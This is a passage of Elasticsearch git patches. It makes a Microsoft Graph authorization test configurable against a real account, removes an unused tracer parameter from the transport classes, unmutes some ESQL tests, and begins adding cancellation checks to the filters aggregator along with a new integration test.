+tasks.register("msGraphThirdPartyTest") {
+  dependsOn "javaRestTest"
+}
diff --git a/x-pack/plugin/security/qa/microsoft-graph-authz-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/authz/microsoft/MicrosoftGraphAuthzPluginIT.java b/x-pack/plugin/security/qa/microsoft-graph-authz-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/authz/microsoft/MicrosoftGraphAuthzPluginIT.java
index d003e9dec9c4a..fad71a4348aa5 100644
--- a/x-pack/plugin/security/qa/microsoft-graph-authz-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/authz/microsoft/MicrosoftGraphAuthzPluginIT.java
+++ b/x-pack/plugin/security/qa/microsoft-graph-authz-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/authz/microsoft/MicrosoftGraphAuthzPluginIT.java
@@ -17,6 +17,7 @@
 import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.util.concurrent.ThreadContext;
+import org.elasticsearch.core.Booleans;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.test.TestTrustStore;
 import org.elasticsearch.test.XContentTestUtils;
@@ -51,11 +52,12 @@
 
 public class MicrosoftGraphAuthzPluginIT extends ESRestTestCase {
 
-    private static final String TENANT_ID = "tenant-id";
-    private static final String CLIENT_ID = "client_id";
-    private static final String CLIENT_SECRET = "client_secret";
-    private static final String USERNAME = "Thor";
-    private static final String EXPECTED_GROUP = "test_group";
+    private static final String TENANT_ID = System.getProperty("test.ms_graph.tenant_id");
+    private static final String CLIENT_ID = System.getProperty("test.ms_graph.client_id");
+    private static final String CLIENT_SECRET = System.getProperty("test.ms_graph.client_secret");
+    private static final String USERNAME = System.getProperty("test.ms_graph.username");
+    private static final String EXPECTED_GROUP = System.getProperty("test.ms_graph.group_id");
+    private static final Boolean USE_FIXTURE = Booleans.parseBoolean(System.getProperty("test.ms_graph.fixture"));
 
     private static final List<MicrosoftGraphHttpFixture.TestUser> TEST_USERS = List.of(
         new MicrosoftGraphHttpFixture.TestUser(
@@ -90,12 +92,14 @@ public class MicrosoftGraphAuthzPluginIT extends ESRestTestCase {
     );
 
     @ClassRule
-    public static TestRule ruleChain = RuleChain.outerRule(graphFixture).around(trustStore).around(cluster);
+    public static TestRule ruleChain = USE_FIXTURE
+        ? RuleChain.outerRule(graphFixture).around(trustStore).around(cluster)
+        : RuleChain.outerRule(cluster);
 
     private static final String IDP_ENTITY_ID = "http://idp.example.org/";
 
     private static ElasticsearchCluster initTestCluster() {
-        return ElasticsearchCluster.local()
+        final var clusterBuilder = ElasticsearchCluster.local()
             .module("analysis-common")
             .setting("xpack.security.enabled", "true")
             .setting("xpack.license.self_generated.type", "trial")
@@ -118,15 +122,22 @@ private static ElasticsearchCluster initTestCluster() {
             .setting("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.client_id", CLIENT_ID)
             .keystore("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.client_secret", CLIENT_SECRET)
             .setting("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.tenant_id", TENANT_ID)
-            .setting("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.graph_host", () -> graphFixture.getBaseUrl() + "/v1.0")
-            .setting("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.access_token_host", graphFixture::getBaseUrl)
             .setting("logger.org.elasticsearch.xpack.security.authz.microsoft", "TRACE")
             .setting("logger.com.microsoft", "TRACE")
-            .setting("logger.com.azure", "TRACE")
-            .systemProperty("javax.net.ssl.trustStore", () -> trustStore.getTrustStorePath().toString())
-            .systemProperty("javax.net.ssl.trustStoreType", "jks")
-            .systemProperty("tests.azure.credentials.disable_instance_discovery", "true")
-            .build();
+            .setting("logger.com.azure", "TRACE");
+
+        if (USE_FIXTURE) {
+            clusterBuilder.setting(
+                "xpack.security.authc.realms.microsoft_graph.microsoft_graph1.graph_host",
+                () -> graphFixture.getBaseUrl() + "/v1.0"
+            )
+                .setting("xpack.security.authc.realms.microsoft_graph.microsoft_graph1.access_token_host", graphFixture::getBaseUrl)
+                .systemProperty("javax.net.ssl.trustStore", () -> trustStore.getTrustStorePath().toString())
+                .systemProperty("javax.net.ssl.trustStoreType", "jks")
+                .systemProperty("tests.azure.credentials.disable_instance_discovery", "true");
+        }
+
+        return clusterBuilder.build();
     }
 
     private static String getIDPMetadata() {
@@ -210,6 +221,7 @@ public void testAuthenticationSuccessful() throws Exception {
     }
 
     public void testConcurrentAuthentication() throws Exception {
+        assumeTrue("This needs the test server as the real account only has one user configured", USE_FIXTURE);
         final var concurrentLogins = 3;
 
         final var resultsListener = new PlainActionFuture<Collection<Map<String, Object>>>();

From cd6a430fa838bcf03581b8942451b2e6f866a08f Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Mon, 7 Jul 2025 16:51:05 +0200
Subject: [PATCH 082/299] Remove tracer where unused (#130429) (#130723)

---
 .../node/NodeServiceProvider.java             |  2 +-
 .../transport/RequestHandlerRegistry.java     |  9 ++---
 .../transport/TransportService.java           | 36 ++++---------------
 .../node/tasks/TaskManagerTestCase.java       |  3 +-
 .../cluster/coordination/JoinHelperTests.java | 10 ++----
 .../discovery/PeerFinderTests.java            |  4 +--
 .../indices/cluster/ClusterStateChanges.java  |  4 +--
 .../transport/InboundHandlerTests.java        |  7 ++--
 .../test/transport/MockTransport.java         |  4 +--
 .../test/transport/MockTransportService.java  |  3 +-
 .../transport/DisruptableMockTransport.java   |  4 +--
 .../SecurityNetty4HeaderSizeLimitTests.java   |  4 +--
 12 files changed, 22 insertions(+), 68 deletions(-)

diff --git a/server/src/main/java/org/elasticsearch/node/NodeServiceProvider.java b/server/src/main/java/org/elasticsearch/node/NodeServiceProvider.java
index 53c26dc679677..ba1ca445642b6 100644
--- a/server/src/main/java/org/elasticsearch/node/NodeServiceProvider.java
+++ b/server/src/main/java/org/elasticsearch/node/NodeServiceProvider.java
@@ -116,7 +116,7 @@ TransportService newTransportService(
         TaskManager taskManager,
         Tracer tracer
     ) {
-        return new TransportService(settings, transport, threadPool, interceptor, localNodeFactory, clusterSettings, taskManager, tracer);
+        return new TransportService(settings, transport, threadPool, interceptor, localNodeFactory, clusterSettings, taskManager);
     }
 
     HttpServerTransport newHttpTransport(PluginsService pluginsService, NetworkModule networkModule) {
diff --git a/server/src/main/java/org/elasticsearch/transport/RequestHandlerRegistry.java b/server/src/main/java/org/elasticsearch/transport/RequestHandlerRegistry.java
index 84a8ee1b2ebbf..e6cec2a0393e0 100644
--- a/server/src/main/java/org/elasticsearch/transport/RequestHandlerRegistry.java
+++ b/server/src/main/java/org/elasticsearch/transport/RequestHandlerRegistry.java
@@ -16,7 +16,6 @@
 import org.elasticsearch.tasks.CancellableTask;
 import org.elasticsearch.tasks.Task;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 
 import java.io.IOException;
 import java.lang.invoke.MethodHandles;
@@ -33,7 +32,6 @@ public class RequestHandlerRegistry<Request extends TransportRequest> implements
     private final boolean canTripCircuitBreaker;
     private final Executor executor;
     private final TaskManager taskManager;
-    private final Tracer tracer;
     private final Writeable.Reader<Request> requestReader;
     @SuppressWarnings("unused") // only accessed via #STATS_TRACKER_HANDLE, lazy initialized because instances consume non-trivial heap
     private TransportActionStatsTracker statsTracker;
@@ -56,8 +54,7 @@ public RequestHandlerRegistry(
         TransportRequestHandler<Request> handler,
         Executor executor,
         boolean forceExecution,
-        boolean canTripCircuitBreaker,
-        Tracer tracer
+        boolean canTripCircuitBreaker
     ) {
         this.action = action;
         this.requestReader = requestReader;
@@ -66,7 +63,6 @@ public RequestHandlerRegistry(
         this.canTripCircuitBreaker = canTripCircuitBreaker;
         this.executor = executor;
         this.taskManager = taskManager;
-        this.tracer = tracer;
     }
 
     public String getAction() {
@@ -126,8 +122,7 @@ public static <R extends TransportRequest> RequestHandlerRegistry<R> replaceHand
             handler,
             registry.executor,
             registry.forceExecution,
-            registry.canTripCircuitBreaker,
-            registry.tracer
+            registry.canTripCircuitBreaker
         );
     }
 
diff --git a/server/src/main/java/org/elasticsearch/transport/TransportService.java b/server/src/main/java/org/elasticsearch/transport/TransportService.java
index 7e81e72e7d457..a23a6f3367351 100644
--- a/server/src/main/java/org/elasticsearch/transport/TransportService.java
+++ b/server/src/main/java/org/elasticsearch/transport/TransportService.java
@@ -48,7 +48,6 @@
 import org.elasticsearch.node.ReportingService;
 import org.elasticsearch.tasks.Task;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.threadpool.Scheduler;
 import org.elasticsearch.threadpool.ThreadPool;
 
@@ -134,7 +133,6 @@ protected boolean removeEldestEntry(Map.Entry<Long, TimeoutInfoHolder> eldest) {
     // tracer log
 
     private static final Logger tracerLog = Loggers.getLogger(logger, ".tracer");
-    private final Tracer tracer;
 
     volatile String[] tracerLogInclude;
     volatile String[] tracerLogExclude;
@@ -206,18 +204,6 @@ public String toString() {
         }
     };
 
-    public TransportService(
-        Settings settings,
-        Transport transport,
-        ThreadPool threadPool,
-        TransportInterceptor transportInterceptor,
-        Function<BoundTransportAddress, DiscoveryNode> localNodeFactory,
-        @Nullable ClusterSettings clusterSettings,
-        Set<String> taskHeaders
-    ) {
-        this(settings, transport, threadPool, transportInterceptor, localNodeFactory, clusterSettings, taskHeaders, Tracer.NOOP);
-    }
-
     /**
      * Build the service.
      *
@@ -232,8 +218,7 @@ public TransportService(
         TransportInterceptor transportInterceptor,
         Function<BoundTransportAddress, DiscoveryNode> localNodeFactory,
         @Nullable ClusterSettings clusterSettings,
-        TaskManager taskManager,
-        Tracer tracer
+        TaskManager taskManager
     ) {
         this(
             settings,
@@ -243,8 +228,7 @@ public TransportService(
             localNodeFactory,
             clusterSettings,
             new ClusterConnectionManager(settings, transport, threadPool.getThreadContext()),
-            taskManager,
-            tracer
+            taskManager
         );
     }
 
@@ -256,8 +240,7 @@ public TransportService(
         TransportInterceptor transportInterceptor,
         Function<BoundTransportAddress, DiscoveryNode> localNodeFactory,
         @Nullable ClusterSettings clusterSettings,
-        Set<String> taskHeaders,
-        Tracer tracer
+        Set<String> taskHeaders
     ) {
         this(
             settings,
@@ -267,8 +250,7 @@ public TransportService(
             localNodeFactory,
             clusterSettings,
             new ClusterConnectionManager(settings, transport, threadPool.getThreadContext()),
-            new TaskManager(settings, threadPool, taskHeaders),
-            tracer
+            new TaskManager(settings, threadPool, taskHeaders)
         );
     }
 
@@ -281,15 +263,13 @@ public TransportService(
         Function<BoundTransportAddress, DiscoveryNode> localNodeFactory,
         @Nullable ClusterSettings clusterSettings,
         ConnectionManager connectionManager,
-        TaskManager taskManger,
-        Tracer tracer
+        TaskManager taskManger
     ) {
         this.transport = transport;
         transport.setSlowLogThreshold(TransportSettings.SLOW_OPERATION_THRESHOLD_SETTING.get(settings));
         this.threadPool = threadPool;
         this.localNodeFactory = localNodeFactory;
         this.connectionManager = connectionManager;
-        this.tracer = tracer;
         this.clusterName = ClusterName.CLUSTER_NAME_SETTING.get(settings);
         setTracerLogInclude(TransportSettings.TRACE_LOG_INCLUDE_SETTING.get(settings));
         setTracerLogExclude(TransportSettings.TRACE_LOG_EXCLUDE_SETTING.get(settings));
@@ -1214,8 +1194,7 @@ public <Request extends TransportRequest> void registerRequestHandler(
             handler,
             executor,
             false,
-            true,
-            tracer
+            true
         );
         transport.registerRequestHandler(reg);
     }
@@ -1247,8 +1226,7 @@ public <Request extends TransportRequest> void registerRequestHandler(
             handler,
             executor,
             forceExecution,
-            canTripCircuitBreaker,
-            tracer
+            canTripCircuitBreaker
         );
         transport.registerRequestHandler(reg);
     }
diff --git a/server/src/test/java/org/elasticsearch/action/admin/cluster/node/tasks/TaskManagerTestCase.java b/server/src/test/java/org/elasticsearch/action/admin/cluster/node/tasks/TaskManagerTestCase.java
index 2ddcaa5d97033..504ef488c5a92 100644
--- a/server/src/test/java/org/elasticsearch/action/admin/cluster/node/tasks/TaskManagerTestCase.java
+++ b/server/src/test/java/org/elasticsearch/action/admin/cluster/node/tasks/TaskManagerTestCase.java
@@ -194,8 +194,7 @@ public TestNode(String name, ThreadPool threadPool, Settings settings) {
                 TransportService.NOOP_TRANSPORT_INTERCEPTOR,
                 boundTransportAddressDiscoveryNodeFunction,
                 null,
-                taskManager,
-                Tracer.NOOP
+                taskManager
             );
             taskManager.setTaskCancellationService(new TaskCancellationService(transportService));
             transportService.start();
diff --git a/server/src/test/java/org/elasticsearch/cluster/coordination/JoinHelperTests.java b/server/src/test/java/org/elasticsearch/cluster/coordination/JoinHelperTests.java
index 6672815c8dbcd..4179a6d3958ea 100644
--- a/server/src/test/java/org/elasticsearch/cluster/coordination/JoinHelperTests.java
+++ b/server/src/test/java/org/elasticsearch/cluster/coordination/JoinHelperTests.java
@@ -28,7 +28,6 @@
 import org.elasticsearch.indices.breaker.NoneCircuitBreakerService;
 import org.elasticsearch.monitor.StatusInfo;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.MockLog;
 import org.elasticsearch.test.junit.annotations.TestLogging;
@@ -74,8 +73,7 @@ public void testJoinDeduplication() {
             x -> localNode,
             clusterSettings,
             new ClusterConnectionManager(Settings.EMPTY, capturingTransport, threadPool.getThreadContext()),
-            taskManger,
-            Tracer.NOOP
+            taskManger
         );
         JoinHelper joinHelper = new JoinHelper(
             null,
@@ -241,8 +239,7 @@ public void testJoinFailureOnUnhealthyNodes() {
             x -> localNode,
             clusterSettings,
             new ClusterConnectionManager(Settings.EMPTY, capturingTransport, threadPool.getThreadContext()),
-            taskManger,
-            Tracer.NOOP
+            taskManger
         );
         AtomicReference<StatusInfo> nodeHealthServiceStatus = new AtomicReference<>(new StatusInfo(UNHEALTHY, "unhealthy-info"));
         JoinHelper joinHelper = new JoinHelper(
@@ -319,8 +316,7 @@ public void testLatestStoredStateFailure() {
             x -> localNode,
             clusterSettings,
             new ClusterConnectionManager(Settings.EMPTY, capturingTransport, threadPool.getThreadContext()),
-            taskManger,
-            Tracer.NOOP
+            taskManger
         );
         JoinHelper joinHelper = new JoinHelper(
             null,
diff --git a/server/src/test/java/org/elasticsearch/discovery/PeerFinderTests.java b/server/src/test/java/org/elasticsearch/discovery/PeerFinderTests.java
index be6af02dbb940..468951b5ae945 100644
--- a/server/src/test/java/org/elasticsearch/discovery/PeerFinderTests.java
+++ b/server/src/test/java/org/elasticsearch/discovery/PeerFinderTests.java
@@ -23,7 +23,6 @@
 import org.elasticsearch.common.transport.TransportAddress;
 import org.elasticsearch.common.util.concurrent.DeterministicTaskQueue;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.MockLog;
 import org.elasticsearch.test.junit.annotations.TestLogging;
@@ -235,8 +234,7 @@ public void setup() {
             boundTransportAddress -> localNode,
             null,
             connectionManager,
-            new TaskManager(settings, threadPool, emptySet()),
-            Tracer.NOOP
+            new TaskManager(settings, threadPool, emptySet())
         );
 
         transportService.start();
diff --git a/server/src/test/java/org/elasticsearch/indices/cluster/ClusterStateChanges.java b/server/src/test/java/org/elasticsearch/indices/cluster/ClusterStateChanges.java
index 19eb662dd0c05..c9673e1285ffd 100644
--- a/server/src/test/java/org/elasticsearch/indices/cluster/ClusterStateChanges.java
+++ b/server/src/test/java/org/elasticsearch/indices/cluster/ClusterStateChanges.java
@@ -103,7 +103,6 @@
 import org.elasticsearch.indices.TestIndexNameExpressionResolver;
 import org.elasticsearch.snapshots.EmptySnapshotsInfoService;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.ClusterServiceUtils;
 import org.elasticsearch.test.gateway.TestGatewayAllocator;
 import org.elasticsearch.threadpool.ThreadPool;
@@ -234,8 +233,7 @@ protected ExecutorService createThreadPoolExecutor() {
                 .address(boundAddress.publishAddress())
                 .build(),
             clusterSettings,
-            Collections.emptySet(),
-            Tracer.NOOP
+            Collections.emptySet()
         ) {
             @Override
             public Transport.Connection getConnection(DiscoveryNode node) {
diff --git a/server/src/test/java/org/elasticsearch/transport/InboundHandlerTests.java b/server/src/test/java/org/elasticsearch/transport/InboundHandlerTests.java
index c4e85e1d35d72..a96f60e7999b6 100644
--- a/server/src/test/java/org/elasticsearch/transport/InboundHandlerTests.java
+++ b/server/src/test/java/org/elasticsearch/transport/InboundHandlerTests.java
@@ -31,7 +31,6 @@
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.tasks.TaskId;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.MockLog;
 import org.elasticsearch.test.TransportVersionUtils;
@@ -114,8 +113,7 @@ public void testPing() throws Exception {
             (request, channel, task) -> channelCaptor.set(channel),
             EsExecutors.DIRECT_EXECUTOR_SERVICE,
             false,
-            true,
-            Tracer.NOOP
+            true
         );
         requestHandlers.registerHandler(registry);
 
@@ -166,8 +164,7 @@ public TestResponse read(StreamInput in) throws IOException {
             },
             EsExecutors.DIRECT_EXECUTOR_SERVICE,
             false,
-            true,
-            Tracer.NOOP
+            true
         );
         requestHandlers.registerHandler(registry);
         String requestValue = randomAlphaOfLength(10);
diff --git a/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransport.java b/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransport.java
index 165f2522c5541..adfe81b96223c 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransport.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransport.java
@@ -22,7 +22,6 @@
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.transport.CloseableConnection;
 import org.elasticsearch.transport.ClusterConnectionManager;
@@ -74,8 +73,7 @@ public TransportService createTransportService(
             localNodeFactory,
             clusterSettings,
             connectionManager,
-            new TaskManager(settings, threadPool, taskHeaders),
-            Tracer.NOOP
+            new TaskManager(settings, threadPool, taskHeaders)
         );
     }
 
diff --git a/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransportService.java b/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransportService.java
index 3f6cf453fd0d1..874b4e6b4bae8 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransportService.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/transport/MockTransportService.java
@@ -307,8 +307,7 @@ private MockTransportService(
             localNodeFactory,
             clusterSettings,
             new StubbableConnectionManager(new ClusterConnectionManager(settings, transport, threadPool.getThreadContext())),
-            taskManager,
-            Tracer.NOOP
+            taskManager
         );
         this.original = transport.getDelegate();
         this.testExecutor = EsExecutors.newScaling(
diff --git a/test/framework/src/main/java/org/elasticsearch/transport/DisruptableMockTransport.java b/test/framework/src/main/java/org/elasticsearch/transport/DisruptableMockTransport.java
index a7dac8f727b0c..5a3b1d8faeb21 100644
--- a/test/framework/src/main/java/org/elasticsearch/transport/DisruptableMockTransport.java
+++ b/test/framework/src/main/java/org/elasticsearch/transport/DisruptableMockTransport.java
@@ -23,7 +23,6 @@
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.Releasables;
 import org.elasticsearch.tasks.TaskManager;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.transport.MockTransport;
 import org.elasticsearch.threadpool.ThreadPool;
 
@@ -76,8 +75,7 @@ public TransportService createTransportService(
             interceptor,
             localNodeFactory,
             clusterSettings,
-            new TaskManager(settings, threadPool, taskHeaders),
-            Tracer.NOOP
+            new TaskManager(settings, threadPool, taskHeaders)
         );
     }
 
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/transport/netty4/SecurityNetty4HeaderSizeLimitTests.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/transport/netty4/SecurityNetty4HeaderSizeLimitTests.java
index eafd825376d66..45a4f4f0dcdca 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/transport/netty4/SecurityNetty4HeaderSizeLimitTests.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/transport/netty4/SecurityNetty4HeaderSizeLimitTests.java
@@ -24,7 +24,6 @@
 import org.elasticsearch.mocksocket.MockSocket;
 import org.elasticsearch.tasks.TaskManager;
 import org.elasticsearch.telemetry.metric.MeterRegistry;
-import org.elasticsearch.telemetry.tracing.Tracer;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.threadpool.DefaultBuiltInExecutorBuilders;
 import org.elasticsearch.threadpool.ThreadPool;
@@ -111,8 +110,7 @@ public void onRequestReceived(long requestId, String action) {
                 (request, channel, task) -> channel.sendResponse(ActionResponse.Empty.INSTANCE),
                 EsExecutors.DIRECT_EXECUTOR_SERVICE,
                 false,
-                true,
-                Tracer.NOOP
+                true
             )
         );
         securityNettyTransport.start();

From 43d8d5965c8a0c3c6be204805ad4b31e184aa100 Mon Sep 17 00:00:00 2001
From: Gal Lalouche <gal.lalouche@elastic.co>
Date: Mon, 7 Jul 2025 19:23:42 +0300
Subject: [PATCH 083/299] ESQL: Unmute tests fixed by #130349 (#130734)

Unmute tests which were fixed by #130349.

Resolves #130122.
Resolves #130270.
Resolves #130426.
---
 muted-tests.yml | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index b1664c3bf510c..9aca1fa7a89ad 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -533,15 +533,6 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
   method: test
   issue: https://github.com/elastic/elasticsearch/issues/130067
-- class: org.elasticsearch.xpack.esql.action.EnrichIT
-  method: testProfile
-  issue: https://github.com/elastic/elasticsearch/issues/130270
-- class: org.elasticsearch.xpack.esql.action.EnrichIT
-  method: testForPushDownEnrichRule
-  issue: https://github.com/elastic/elasticsearch/issues/130426
-- class: org.elasticsearch.xpack.esql.action.EnrichIT
-  method: testTopN
-  issue: https://github.com/elastic/elasticsearch/issues/130122
 - class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
   method: testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution
   issue: https://github.com/elastic/elasticsearch/issues/130205

From b9b199a4e96f71b22d806ae76945af6743b7ef60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Mon, 7 Jul 2025 18:35:47 +0200
Subject: [PATCH 084/299] Aggs: Add cancellation checks to FilterByFilter
 aggregator (#130452) (#130736)

By default, the `FilterByFilterAggregator` (Used by the `"filter"` and `"filters"` aggs) was using the `DefaultBulkScorer` (From Lucene), which has no cancellation mechanism.

This PR wraps it into a `CancellableBulkScorer`, which instead calls the inner scorer with ranges, and checks cancellation between them.

This should solve cases of long-running tasks using these aggregators not being cancelled, or greatly reduce the time they take after cancellation.
---
 docs/changelog/130452.yaml                    |   5 +
 .../bucket/FiltersCancellationIT.java         | 216 ++++++++++++++++++
 .../filter/FilterByFilterAggregator.java      |  13 +-
 .../bucket/filter/QueryToFilterAdapter.java   |  11 +-
 .../internal/CancellableBulkScorer.java       |   4 +-
 5 files changed, 240 insertions(+), 9 deletions(-)
 create mode 100644 docs/changelog/130452.yaml
 create mode 100644 server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java

diff --git a/docs/changelog/130452.yaml b/docs/changelog/130452.yaml
new file mode 100644
index 0000000000000..b40a8a2e14fd1
--- /dev/null
+++ b/docs/changelog/130452.yaml
@@ -0,0 +1,5 @@
+pr: 130452
+summary: "Aggs: Add cancellation checks to `FilterByFilter` aggregator"
+area: Aggregations
+type: bug
+issues: []
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java b/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java
new file mode 100644
index 0000000000000..76948bad7fccb
--- /dev/null
+++ b/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.search.aggregations.bucket;
+
+import org.elasticsearch.action.bulk.BulkRequestBuilder;
+import org.elasticsearch.action.search.SearchRequestBuilder;
+import org.elasticsearch.action.search.TransportSearchAction;
+import org.elasticsearch.action.support.WriteRequest;
+import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.util.CollectionUtils;
+import org.elasticsearch.core.TimeValue;
+import org.elasticsearch.index.mapper.OnScriptError;
+import org.elasticsearch.plugins.Plugin;
+import org.elasticsearch.plugins.ScriptPlugin;
+import org.elasticsearch.script.LongFieldScript;
+import org.elasticsearch.script.ScriptContext;
+import org.elasticsearch.script.ScriptEngine;
+import org.elasticsearch.search.aggregations.bucket.filter.FiltersAggregator.KeyedFilter;
+import org.elasticsearch.search.lookup.SearchLookup;
+import org.elasticsearch.tasks.TaskInfo;
+import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xcontent.json.JsonXContent;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Semaphore;
+
+import static org.elasticsearch.index.query.QueryBuilders.termQuery;
+import static org.elasticsearch.search.aggregations.AggregationBuilders.filters;
+import static org.elasticsearch.search.aggregations.AggregationBuilders.terms;
+import static org.hamcrest.Matchers.empty;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.not;
+
+@ESIntegTestCase.SuiteScopeTestCase
+public class FiltersCancellationIT extends ESIntegTestCase {
+
+    private static final String INDEX = "idx";
+    private static final String PAUSE_FIELD = "pause";
+    private static final String NUMERIC_FIELD = "value";
+
+    private static final int NUM_DOCS = 100_000;
+    private static final int SEMAPHORE_PERMITS = NUM_DOCS - 1000;
+    private static final Semaphore SCRIPT_SEMAPHORE = new Semaphore(0);
+
+    @Override
+    protected Collection<Class<? extends Plugin>> nodePlugins() {
+        return CollectionUtils.appendToCopy(super.nodePlugins(), pausableFieldPluginClass());
+    }
+
+    protected Class<? extends Plugin> pausableFieldPluginClass() {
+        return PauseScriptPlugin.class;
+    }
+
+    @Override
+    public void setupSuiteScopeCluster() throws Exception {
+        try (XContentBuilder mapping = JsonXContent.contentBuilder()) {
+            mapping.startObject();
+            mapping.startObject("runtime");
+            {
+                mapping.startObject(PAUSE_FIELD);
+                {
+                    mapping.field("type", "long");
+                    mapping.startObject("script").field("source", "").field("lang", PauseScriptPlugin.PAUSE_SCRIPT_LANG).endObject();
+                }
+                mapping.endObject();
+                mapping.startObject(NUMERIC_FIELD);
+                {
+                    mapping.field("type", "long");
+                }
+                mapping.endObject();
+            }
+            mapping.endObject();
+            mapping.endObject();
+
+            client().admin().indices().prepareCreate(INDEX).setMapping(mapping).get();
+        }
+
+        int DOCS_PER_BULK = 100_000;
+        for (int i = 0; i < NUM_DOCS; i += DOCS_PER_BULK) {
+            BulkRequestBuilder bulk = client().prepareBulk().setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE);
+            for (int j = 0; j < DOCS_PER_BULK; j++) {
+                int docId = i + j;
+                bulk.add(prepareIndex(INDEX).setId(Integer.toString(docId)).setSource(NUMERIC_FIELD, docId));
+            }
+            bulk.get();
+        }
+
+        client().admin().indices().prepareForceMerge(INDEX).setMaxNumSegments(1).get();
+    }
+
+    public void testFiltersCountCancellation() throws Exception {
+        ensureProperCancellation(
+            client().prepareSearch(INDEX)
+                .addAggregation(
+                    filters(
+                        "filters",
+                        new KeyedFilter[] {
+                            new KeyedFilter("filter1", termQuery(PAUSE_FIELD, 1)),
+                            new KeyedFilter("filter2", termQuery(PAUSE_FIELD, 2)) }
+                    )
+                )
+        );
+    }
+
+    public void testFiltersSubAggsCancellation() throws Exception {
+        ensureProperCancellation(
+            client().prepareSearch(INDEX)
+                .addAggregation(
+                    filters(
+                        "filters",
+                        new KeyedFilter[] {
+                            new KeyedFilter("filter1", termQuery(PAUSE_FIELD, 1)),
+                            new KeyedFilter("filter2", termQuery(PAUSE_FIELD, 2)) }
+                    ).subAggregation(terms("sub").field(PAUSE_FIELD))
+                )
+        );
+    }
+
+    private void ensureProperCancellation(SearchRequestBuilder searchRequestBuilder) throws Exception {
+        var searchRequestFuture = searchRequestBuilder.setTimeout(TimeValue.timeValueSeconds(1)).execute();
+        assertFalse(searchRequestFuture.isCancelled());
+        assertFalse(searchRequestFuture.isDone());
+
+        // Check that there are search tasks running
+        assertThat(getSearchTasks(), not(empty()));
+
+        // Wait for the script field to get blocked
+        assertBusy(() -> { assertThat(SCRIPT_SEMAPHORE.getQueueLength(), greaterThan(0)); });
+
+        // Cancel the tasks
+        // Warning: Adding a waitForCompletion(true)/execute() here sometimes causes tasks to not get canceled and threads to get stuck
+        client().admin().cluster().prepareCancelTasks().setActions(TransportSearchAction.NAME + "*").get();
+
